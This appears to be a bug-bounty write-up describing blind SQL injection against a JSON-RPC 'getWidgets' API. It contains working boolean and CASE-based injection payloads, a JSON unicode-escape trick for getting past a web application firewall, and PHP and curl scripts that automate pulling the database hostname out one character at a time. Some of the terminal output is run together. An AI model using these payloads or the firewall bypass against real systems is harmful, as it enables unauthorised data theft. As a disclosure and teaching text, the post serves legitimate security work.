Binary Questions

One of the fairly common ways to leverage a blind SQL Injection is to ask yes/no questions using an IF(expression, true, false) statement, and that was my very first thought. I knew already that if I provided an ID of 2 there would be some assets attached to the widgets , and if I provided an ID of 1 there would be no assets . So — in theory at least — I could use a subquery as my payload and have it return 2 for true and 1 for false . If there’s assets in the response the answer would be ‘yes’, and if there aren’t any the answer would be ‘no’.

I decided I would test the theory by trying to figure out something simple: the hostname of the database server. The hostname on a MySQL server is stored in the hostname variable, and you can easily see it like this:

mysql> SELECT @@hostname;

+------------+

| @@hostname |

+------------+

| girru |

+------------+

1 row in set (0.00 sec)

These examples are being run on a machine of mine, named after the Babylonian god of fire. I always think it’s a good idea to test whatever you can locally instead of blindly (hah) trying to figure things out on the actual target, with no real feedback or error messages.

Because I can only ask yes/no questions, to figure out the hostname I need to see if the first character is an a , if it’s a b , or c , and so on until I find the right character; then I can move on to the second character. You can do that by using the SUBSTRING() function:

mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1);

+---------------------------------------------+

| IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1) |

+---------------------------------------------+

| 1 |

+---------------------------------------------+

1 row in set (0.00 sec)

Remember: a 1 in the result means ‘no’, and a 2 means ‘yes’. So, nope: not an a .

mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1);

+---------------------------------------------+

| IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1) |

+---------------------------------------------+

| 1 |

+---------------------------------------------+

1 row in set (0.00 sec)

Not a b either… Cue the wavy time-travel lines…

mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "g", 2, 1);

+----------------------------------------------+

| IF (SUBSTRING(@@hostname, 1, 1) = "g", 2, 1) |

+----------------------------------------------+

| 2 |

+----------------------------------------------+

1 row in set (0.00 sec)

Ah! It’s a g ! Now we can move on to the next character.

With my test query running fine locally, I could try it as a payload on the JSON-RPC API. Fingers crossed!



{

"jsonrpc": "2.0",

"method": "getWidgets",

"params": [

"SELECT IF(SUBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"

]

}

tom@bash:~▶ curl -s $APIURL -d

<HTML><HEAD>

<TITLE>Access Denied</TITLE>

</HEAD><BODY>

<H1>Access Denied</H1>



You don't have permission to access "<redacted>" on this server.<P>

Reference <redacted>

</BODY>

</HTML> tom@bash:~▶ cat payload.json"jsonrpc": "2.0","method": "getWidgets","params": [tom@bash:~▶ curl -s $APIURL -d @payload .json Access Denied You don't have permission to access " " on this server. Reference

Dammit, dammit, dammit. Those pesky WAFs are always getting in my way.

Thankfully, because the payload is JSON, I could easily obfuscate it to get around the WAF by using \uXXXX escape sequences. Crisis averted:



{

"jsonrpc": "2.0",

"method": "getWidgets",

"params": [

"\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"

]

}

tom@bash:~▶ curl -s $APIURL -d

// No WAF error here; but no assets either! tom@bash:~▶ cat payload.json"jsonrpc": "2.0","method": "getWidgets","params": [ELECTF(UBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"tom@bash:~▶ curl -s $APIURL -d @payload .json | gron | grep type_id// No WAF error here; but no assets either!

No WAF error, but no assets either; so if everything’s working as intended the hostname doesn’t begin with an a . Time to try the next letter! And the next one… And the next one…

I worked my way through the alphabet until:



{

"jsonrpc": "2.0",

"method": "getWidgets",

"params": [

"\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"r\", 2, 1)"

]

}

tom@bash:~▶ curl -s $APIURL -d

json.result.data.widget[5].assets[0].type_id = 2;

json.result.data.widget[5].assets[1].type_id = 2;

json.result.data.widget[5].assets[2].type_id = 2; tom@bash:~▶ cat payload.json"jsonrpc": "2.0","method": "getWidgets","params": ["\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"\", 2, 1)"tom@bash:~▶ curl -s $APIURL -d @payload .json | gron | grep type_idjson.result.data.widget[5].assets[0].type_id = 2;json.result.data.widget[5].assets[1].type_id = 2;json.result.data.widget[5].assets[2].type_id = 2;

Results! The hostname starts with an r !

It was at this point I decided that rather than try and figure out the second character in the hostname, I’d write up my findings and report them. I figured I had a pretty good POC and that they’d surely reward me for being the hacking god that — in that moment — I knew myself to be.

Just in CASE

In my report I said something like “data exfiltration, whilst slow, could easily be scripted”. Which is true, but it would still be a real pain to actually get any useful data out of the thing, wouldn’t it? Asking all of those yes/no questions would surely show up on somebody’s monitoring dashboard somewhere if you actually tried to use it for anything other than the shortest of strings.

How can we make things a little faster? Maybe even a couple of orders of magnitude faster?! We need to go beyond binary questions, beyond trinary questions, and even beyond that!… OK, I made that sound a little more exciting that it really is: we can use a CASE statement.

A CASE statement lets you do something like this:

mysql> SELECT CASE SUBSTRING(@@hostname, 1, 1)

-> WHEN "a" THEN 1

-> WHEN "b" THEN 2

-> WHEN "c" THEN 3

-> WHEN "d" THEN 4

-> WHEN "e" THEN 5

-> WHEN "f" THEN 6

-> WHEN "g" THEN 7

-> ...

-> WHEN "z" THEN 26

-> END as result;

+--------+

| result |

+--------+

| 7 |

+--------+

1 row in set (0.00 sec)

So, because the result of this query is 7 , I know the first character in @@hostname is g :)

The slight problem here is that I couldn’t just neatly use the numbers 1 to 26 for each letter, because not all possible IDs had corresponding assets . I needed to find enough valid IDs to make this work.

I wrote a little PHP script to save me from typing out the numbers from 1 to 100 and tried passing in 1,2,3...99,100 as the parameter. I used a little bit of command line trickery to find a list of all the unique valid IDs:

tom@bash:~▶ cat genrange.php

<?php

$payload = [

"jsonrpc" => "2.0",

"method" => "getWidgets",

"params" => [

implode(",", range(1, 100))

]

]; echo json_encode($payload);

tom@bash:~▶ curl --compressed -s $APIURL -d @<(php genrange.php) | gron | grep type_id | awk '{print $NF}' | sort -nu

2;

9;

10;

11;

...snip...

37;

38;

39;

40;

In total I found 31 valid IDs, which isn’t nearly enough to cover even the ASCII character set, but it’s enough to cover all the lower-case letters and even a few numbers for good measure. It’s also a lot better than only being able to answer yes/no questions.

I knocked together another hacky PHP script to make generating my payload a little easier:

tom@bash:~▶ cat gensql.php

<?php

// first argument to the script is the char to fetch

$char = $argv[1]?? 1; // The payload

$sql = '

SELECT CASE SUBSTRING(@@hostname, '.$char.', 1)

WHEN "a" THEN 2

WHEN "b" THEN 8

WHEN "c" THEN 9

WHEN "d" THEN 10

...snip...

WHEN "z" THEN 35

WHEN "0" THEN 36

WHEN "1" THEN 37

WHEN "2" THEN 38

WHEN "3" THEN 39

WHEN "4" THEN 40

END

'; $wrapper = [

"jsonrpc" => "2.0",

"method" => "getWidgets",

"params" => [$sql]

]; $payload = json_encode($wrapper); // Add some obfuscation to defeat the WAF :)

echo str_replace(

["C", "S", "T", "W"],

["\u0043", "\u0053", "\u0054", "\u0057"],

$payload

);

(I probably could have generated all the WHEN "x" THEN y parts of the query with a loop but all I can say to that is: ¯\_(ツ)_/¯)

With my script in hand I could try and figure out the rest of that pesky hostname; using awk '{print $NF}' to print the last field (i.e. the type_id ), and uniq to remove the duplicates.

First character:

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 1) | gron | grep type_id | awk '{print $NF}' | uniq

27;

Consulting my lookup table, that’s an r ! Good, I knew that, so it looks like it’s working. More characters:

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 2) | gron | grep type_id | awk '{print $NF}' | uniq

11;

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 3) | gron | grep type_id | awk '{print $NF}' | uniq

10;

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 4) | gron | grep type_id | awk '{print $NF}' | uniq

2;

11 , 10 , and 2 ; that’s e , d , and a . Hmm, reda ? Let’s keep going…

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 5) | gron | grep type_id | awk '{print $NF}' | uniq

9;

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 6) | gron | grep type_id | awk '{print $NF}' | uniq

29;

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 7) | gron | grep type_id | awk '{print $NF}' | uniq

11;

tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 8) | gron | grep type_id | awk '{print $NF}' | uniq

10;

9 , 29 , 11 , and 10 … So that’s c , t , e , and d .

Oh hey: it’s redacted ;)

All joking (and redaction) aside, I actually was able to read the hostname at a rate of one character per request, or — and this is a bit of a guess — about 2 bits per second.